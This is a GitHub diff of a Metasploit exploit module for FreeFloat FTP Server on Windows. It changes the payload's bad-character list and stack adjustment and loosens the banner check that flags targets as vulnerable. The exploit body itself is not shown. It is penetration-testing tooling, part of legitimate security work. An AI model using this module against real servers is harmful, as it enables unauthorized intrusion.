File tree Expand file tree Collapse file tree 1 file changed +6
-5
lines changed
modules/exploits/windows/ftp Expand file tree Collapse file tree 1 file changed +6
-5
lines changed Original file line number Diff line number Diff line change @@ -35,8 +35,9 @@ def initialize(info = {})
35
35
{
36
36
'Space' => 500 ,
37
37
'DisableNops' => true ,
38
- 'BadChars' => "\x00 \x0a \x0d \x20 \x5c " ,
39
- 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
38
+ 'BadChars' => "\x00 \x0a \x0d " ,
39
+ #'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
40
+ 'StackAdjustment' => -3500
40
41
} ,
41
42
'Targets' =>
42
43
[
@@ -59,11 +60,11 @@ def initialize(info = {})
59
60
def check
60
61
connect
61
62
disconnect
62
- print_status ( banner )
63
- if ( banner =~ /220 FreeFloat Ftp Server (Version 1.00)/ )
63
+ if ( banner =~ /FreeFloat/ )
64
64
return Exploit ::CheckCode ::Vulnerable
65
+ else
66
+ return Exploit ::CheckCode ::Safe
65
67
end
66
- return Exploit ::CheckCode ::Safe
67
68
end
68
69
69
70
def exploit
You can’t perform that action at this time.
0 commit comments